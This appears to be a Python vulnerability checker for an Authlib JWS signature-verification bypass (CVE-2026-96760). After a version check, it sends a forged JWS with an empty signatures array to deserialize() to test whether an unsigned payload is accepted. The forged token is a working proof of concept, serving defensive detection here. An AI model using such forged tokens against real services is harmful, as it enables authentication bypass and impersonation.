Authlib JWS signature verification bypass via empty signatures array

#!/usr/bin/env python3
"""CVE-2026-96760 checker: Authlib JWS signature verification bypass.
Outputs: VULNERABLE / PATCHED / UNKNOWN
Exit codes: 1=VULNERABLE, 0=PATCHED, 2=UNKNOWN
"""
import sys
import json
import base64

def b64url(data):
    return base64.urlsafe_b64encode(data.encode()).rstrip(b'=').decode()

def main():
    # Step 1: Check if authlib is installed and get version
    try:
        import authlib
    except ImportError:
        print("UNKNOWN - authlib is not installed in this environment")
        sys.exit(2)

    version = getattr(authlib, '__version__', 'unknown')
    print(f"[*] Detected authlib version: {version}")

    # Step 2: Version-based check
    try:
        parts = version.split('.')
        major, minor = int(parts[0]), int(parts[1])
        patch = int(parts[2]) if len(parts) > 2 else 0
        if major > 1 or (major == 1 and minor >= 9):
            print(f"PATCHED - authlib {version} >= 1.9.0 (CVE-2026-96760 fixed)")
            sys.exit(0)
    except (ValueError, IndexError):
        print(f"[!] Could not parse version '{version}', falling back to runtime test")

    # Step 3: Check if the vulnerable module exists
    try:
        from authlib.jose import JsonWebSignature
    except ImportError:
        print("PATCHED - authlib.jose module not present (removed in this build)")
        sys.exit(0)

    # Step 4: Runtime exploit test (non-destructive)
    print("[*] Testing deserialize() with empty signatures array...")
    jws = JsonWebSignature()
    forged_payload = b64url(json.dumps({"sub": "cve-2026-96760-test", "role": "checker"}))
    forged_jws = json.dumps({"payload": forged_payload, "signatures": []})

    try:
        result = jws.deserialize(forged_jws, key=None)
        if result is not None:
            payload_bytes = result.get('payload', b'')
            decoded = payload_bytes.decode() if isinstance(payload_bytes, bytes) else str(payload_bytes)
            print(f"VULNERABLE - empty-signatures JWS accepted without key material")
            print(f"[!] Forged payload returned as verified: {decoded}")
            sys.exit(1)
        else:
            print("PATCHED - deserialize() returned None for empty signatures")
            sys.exit(0)
    except TypeError:
        # Some versions raise TypeError when key=None and signatures exist
        print("PATCHED - deserialize() rejected empty signatures (TypeError)")
        sys.exit(0)
    except Exception as e:
        ename = type(e).__name__
        # Any exception means the exploit did not succeed
        if 'signature' in str(e).lower() or 'verify' in str(e).lower() or 'invalid' in str(e).lower():
            print(f"PATCHED - deserialize() rejected empty signatures ({ename}: {e})")
            sys.exit(0)
        print(f"UNKNOWN - unexpected error during runtime test ({ename}: {e})")
        sys.exit(2)

if __name__ == "__main__":
    main()